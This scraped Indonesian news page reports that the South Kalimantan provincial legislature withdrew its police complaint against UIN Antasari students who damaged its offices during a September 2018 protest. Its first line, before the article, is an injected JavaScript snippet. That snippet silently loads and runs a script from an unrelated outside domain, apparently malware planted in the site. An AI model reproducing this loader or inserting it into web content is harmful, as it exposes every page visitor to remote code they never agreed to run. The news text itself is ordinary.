(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Meski sebelumnya menegaskan untuk melanjutkan kasus pengerusakan aset DPRD Kalsel oleh mahasiswa saat unjuk rasa, Jumat (14/9) lalu ke ranah hukum, dewan akhirnya memilih jalan damai. Dengan pertimbangan menjaga suasana kondusif serta keberadaan mahasiswa yang masih harus menjalani perkuliahan, DPRD Kalsel akhirnya mencabut laporan kasus pengerusakan aset negara pada Sekretariat DPRD Kalsel.
Melalui surat Nomor 000/885/Setwan/2018 yang ditandatangani Kabag Tata Usaha Sektetariat DPRD Kalsel Riduansyah M.AP dan saksi pelapor Muhammad Ricky Herald SE, dewan menyampaikan surat pencabutan laporan ke Mapolresta Banjarmasin.
Dalam surat tersebut disampaikan, Ricky selaku saksi pelapor atas nama Sekteretariat DPRD Kalsel mengajukan permohonan pencabutan laporan pengaduan pengerusakan aset negara pada Sekrtetariat DPRD kalsel yang dilakukan oknum mahasiswa yang tergabung dalam Lingkar Studi Ilmu soial dan Kemasyarakatan (LSISK) pada Jumat 14 September 2018.
Pertimbangannya pencabuatn terkait adanya usear dari Rektor UIN Antasari kepada Ketua DPRD Kalsel nomor B-976 Un.14/II.1/PP.00.9/09/2018tanggal 18 Septemberperihal petmohonan pencabutan pengaduan.
“Pencabutan laporan pengaduan tersebut juga mempertimbangkan eksistensi para mahasiswa yang masih menjalankan masa perkuliahan. Termasuk adanya jaminan dari Universitas Islam Negeri (UIN) Antasari untuk mencegah mahasiswanya, khususnya mereka yang kini tengah diproses kepolisian, untuk tak lagi mengulanginya,†kata Riduansyah.
Sebelumnya, dewan menegaskan tetap menyerahkan proses hukum atas kasus tersebut kepada polisi. Hal ini sebagaimana disampaikan Wakil Ketua DPRD Provinsi Kalsel, H Asbullah saat memimpin rapat internal bersama anggotanya di ruang BP Perda Sekretariat DPRD Provinsi Kalsel, Senin (17/9) siang.
Rapat tersebut membahas aksi mahasiswa yang berbuntut pengrusakan di ruang rapat sekretariat DRPD Provinsi Kalsel, Jumat (14/9) lalu. Rapat Pimpinan DPRD, AKD dan Fraksi DPRD Provinsi Kalimantan Selatan menghasilkan tiga pernyataan sikap. Di antaranya DPRD Kalsel sangat menyayangkan aksi yang dilakukan oleh Oknum mahasiswa yang tergabung dalam LSISK pada unjuk rasa di Gedung DPRD Provinsi Kalsel pada hari Jumat tanggal 14 September 2018 yang lalu.
“Apalagi demo penyampaian pendapat pada Jumat kemarin, berujung anarkis dan kami menyerahkan sepenuhnya kepada aparat penegak hukum untuk memproses sesuai ketentuan peraturan perundang-undangan yang berlaku,†kata Asbullah.
Aksi anarkis pengerusakan fasilitas di DPRD Kalimantan Selatan oleh sekelompok mahasiswa sangat disayangkan. Dr Taufik Arbain, mantan aktivis mahasiswa Universitas Lambung Mangkurat (ULM) menilai cara-cara kurang etis itu, malah meruntuhkan citra gerakan mahasiswa di mata publik, termasuk di mata mahasiswa lainnya yang memiliki kepedulian terhadap masalah sosial.
“Kita berharap aksi-aksi tidak etis seperti itu tidak terulang lagi, apalagi sampai menjadi instrument politik pihak-pihak tertentu untuk ‘melumpuhkan’ semangat pembelaan terhadap kepentingan rakyat,†kata aktivis mahasiswa Gerakan Reformasi 98 ini. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Lima orang aktivis penyeru hak demokrasi mendatangi kantor Komisi Pemilihan Umum (KPU)… Read More
Dahtiar: Yang Dihitung Suara Sah Saja Nanti, Karena Bukan Mekanisme Kotak Kosong Read More
KANALKALIMANTAN.COM, MARTAPURA - Sekretaris Bappedalitbang Kabupaten Banjar, Hanafi, membuka rapat dengan agenda Pembahasan Proses Bisnis… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dikira tertidur, seorang lelaki pengayuh becak ditemukan meninggal dunia di Jalan A… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah di depan mata. Masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan ekplorasi dan penilaian… Read More
This website uses cookies.